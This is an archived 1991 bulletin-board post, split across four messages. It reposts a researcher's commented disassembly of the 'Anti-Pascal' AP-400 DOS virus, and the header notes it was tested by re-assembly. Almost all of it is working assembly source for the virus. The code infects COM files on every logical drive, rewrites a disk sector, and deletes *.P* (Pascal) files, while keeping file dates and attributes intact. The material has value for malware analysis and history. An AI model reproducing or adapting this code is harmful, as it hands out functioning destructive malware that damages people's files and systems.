; þ RonMail 1.0 þ Programmer's Inn - Home of FeatherNet (619)-446-4506
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:08)             Number: 3562
;From: AHMED DOGAN                  Refer#: NONE
;  To: ALL                           Recvd: NO
;Subj: ANTI PASCAL                    Conf: (16) VIRUS
;---------------------------------------------------------------------------
        page        ,132
        name        AP400
        title        The 'Anti-Pascal' virus, version AP-400
        .radix        16

;
;......................................................................
;......
; .  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5,
;ap. 51 .
; .  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;.
; .
;.
; .                       The 'Anti-Pascal' Virus, version AP-400
;.
; .                    Disassembled by Vesselin Bontchev, July 1990
;.
; .
;.
; .                     Copyright (c) Vesselin Bontchev 1989, 1990
;.
; .
;.
; .         This listing is only to be made available to virus
;researchers      .
; .                   or software writers on a need-to-know basis.
;.
;
;......................................................................
;......

; The disassembly has been tested by re-assembly using MASM 5.0.

code        segment
        assume        cs:code, ds:code

        org        100

v_const =        2042d

start:
        jmp        v_entry
        db        0CA                ; Virus signature

        db        (2048d - 9) dup (90)        ; The original "program"

        mov        ax,4C00         ; Just exit
        int        21

v_start label        byte
first4        db        0E9, 0F8, 7, 90
allcom        db        '*.COM', 0

mydta        label        byte
reserve db        15 dup (?)
attrib        db        ?
time        dw        ?
date        dw        ?
fsize        dd        ?
namez        db        14d dup (?)

allp        db        0, '?????????A?'
maxdrv        db        ?
sign        db        'PAD'

v_entry:
        push        ax                ; Save AX & DX
        push        dx

        mov        ah,19                ; Get the default drive
        int        21
        push        ax                ; Save it on stack
        mov        ah,0E                ; Set it as default (?!)
        mov        dl,al
        int        21                ; Do it

        call        self                ; Determine the virus' start address
self:
        pop        si
        sub        si,offset self-v_const

; Save the number of logical drives in the system:

        mov        byte ptr [si+offset maxdrv-v_const],al

; Restore the first 4 bytes of the infected program:

        mov        ax,[si+offset first4-v_const]
        mov        word ptr ds:[offset start],ax
        mov        ax,[si+offset first4+2-v_const]
        mov        word ptr ds:[offset start+2],ax

        mov        ah,1A                ; Set new DTA
        lea        dx,[si+offset mydta-v_const]
        int        21                ; Do it
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:08)             Number: 3563
;From: AHMED DOGAN                  Refer#: NONE
;  To: ALL                           Recvd: NO
;Subj: ANTI PASCAL        <CONT>      Conf: (16) VIRUS
;---------------------------------------------------------------------------
        pop        ax                ; Restore current drive in AL
        push        ax                ; Keep it on stack

        call        inf_drive        ; Proceed with the current drive

        xor        al,al                ; For all logical drives in the system
drv_lp:
        call        inf_drive        ; Proceed with drive
        jbe        drv_lp                ; Loop until no more drives

        pop        ax                ; Restore the saved current drive
        mov        ah,0E                ; Set it as current drive
        mov        dl,al
        int        21                ; Do it

        mov        dx,80                ; Restore original DTA
        mov        ah,1A
        int        21                ; Do it

        mov        si,offset start
        pop        dx                ; Restore DX & AX
        pop        ax
        jmp        si                ; Run the original program

inf_drive:
        push        ax                ; Save the selected drive number on stack
        mov        ah,0E                ; Select that drive
        mov        dl,al
        int        21                ; Do ti
        pop        ax                ; Restore AX

        push        ax                ; Save the registers used
        push        bx
        push        cx
        push        si                ; Save SI

        mov        cx,1                ; Read sector #50 of the drive specified
        mov        dx,50d
        lea        bx,[si+offset v_end-v_const]
        push        ax                ; Save AX
        push        bx                ; Save BX, CX & DX also
        push        cx
        push        dx
        int        25                ; Do read
        pop        dx                ; Clear the stack
        pop        dx                ; Restore saved DX, CX & BX
        pop        cx
        pop        bx
        jnc        wr_drive        ; Write the information back if no error

        pop        ax                ; Restore AX
        pop        si                ; Restore SI

drv_xit:
        pop        cx                ; Restore used registers
        pop        bx
        pop        ax

        inc        al                ; Go to next drive number
        cmp        al,[si+offset maxdrv-v_const]        ; See if there are more drives
xit:
        ret                        ; Exit

wr_drive:
        pop        ax                ; Restore drive number in AL
        int        26                ; Do write
        pop        ax                ; Clear the stack
        pop        si                ; Restore Si
        jnc        cont                ; Continue if no error
        clc
        jmp        drv_xit         ; Otherwise exit

; Find first COM file on the current directory of the selected drive:

cont:
        mov        ah,4E
        xor        cx,cx                ; Normal files only
        lea        dx,[si+offset allcom-v_const]        ; File mask
next:
        int        21                ; Do find
        jc        no_more         ; Quit search if no more such files
        lea        dx,[si+offset namez-v_const]        ; Get file name found
        call        infect                ; Infect that file
        mov        ah,4F                ; Prepare for FindNext
        jc        next                ; If infection not successful, go to next file
        jmp        drv_xit         ; Otherwise quit

no_more:
        mov        ah,13                ; Delete all *.P* files in that dir

;<ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:08)             Number: 3564
;From: AHMED DOGAN                  Refer#: NONE
;  To: ALL                           Recvd: NO
;Subj: ANTI PASCAL        <CONT>      Conf: (16) VIRUS
;---------------------------------------------------------------------------
        lea        dx,[si+offset allp-v_const]
        int        21                ; Do it
        clc
        jmp        drv_xit         ; Done. Exit

namaddr dw        ?                ; Address of the file name buffer

infect:
        mov        [si+offset namaddr-v_const],dx        ; Save filename address

        mov        ax,4301         ; Reset all file attributes
        xor        cx,cx
        int        21                ; Do it
        jc        xit                ; Exit on error

        mov        ax,3D02         ; Open file for both reading and writing
        int        21
        jc        xit                ; Exit on arror
        mov        bx,ax                ; Save file handle in BX

        mov        cx,4                ; Read the first 4 bytes of the file
        mov        ah,3F
        lea        di,[si+offset first4-v_const]        ; Save them in first4
        mov        dx,di
        int        21                ; Do it
        jc        quit                ; Exit on error

        cmp        byte ptr [di+3],0CA        ; File already infected?
        stc                        ; Set CF to indicate it
        jz        quit                ; Don't touch this file if so

        mov        cx,[si+offset fsize-v_const]
        cmp        cx,2048d        ; Check if file size >= 2048 bytes
        jb        quit                ; Exit if not
        cmp        cx,64000d        ; Check if file size <= 64000 bytes
        stc                        ; Set CF to indicate it
        ja        quit                ; Exit if not

        xor        cx,cx                ; Seek to file end
        xor        dx,dx
        mov        ax,4202
        int        21                ; Do it
        push        ax                ; Save file size on stack
        jc        quit                ; Exit on error

; Write the virus body after the end of file:

        mov        cx,v_end-v_start
        nop
        lea        dx,[si+offset v_start-v_const]
        mov        ah,40
        int        21                ; Do it
        jc        quit                ; Exit on error
        pop        ax                ; Restore file size in AX

; Form a new address for the first JMP instruction in AX:

        add        ax,v_entry-v_start-3
        mov        byte ptr [di],0E9        ; JMP opcode
        mov        [di+1],ax
        mov        byte ptr [di+3],0CA        ; Set the "file infected" sign

        xor        cx,cx                ; Seek to file beginning
        xor        dx,dx
        mov        ax,4200
        int        21                ; Do it
        jc        quit                ; Exit on error

        mov        cx,4                ; Write the new first 4 bytes of the file
        mov        dx,di
        mov        ah,40
        int        21                ; Do it

quit:
        pushf                        ; Save flags

        mov        ax,5701         ; Set file date & time
        mov        cx,[si+offset time-v_const]        ; Get time from mydta
        mov        dx,[si+offset date-v_const]        ; Get date from mydta
        int        21                ; Do it

        mov        ah,3E                ; Close the file
        int        21

        mov        ax,4301         ; Set file attributes
        mov        cl,[si+offset attrib-v_const]        ; Get them from mydta
        xor        ch,ch

;<ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:08)             Number: 3565
;From: AHMED DOGAN                  Refer#: NONE
;  To: ALL                           Recvd: NO
;Subj: ANTI PASCAL        <CONT>      Conf: (16) VIRUS
;---------------------------------------------------------------------------
        mov        dx,[si+offset namaddr-v_const]        ; Point to file name
        int        21                ; Do it

        popf                        ; Restore flags
        ret

v_end        equ        $

code        ends
        end        start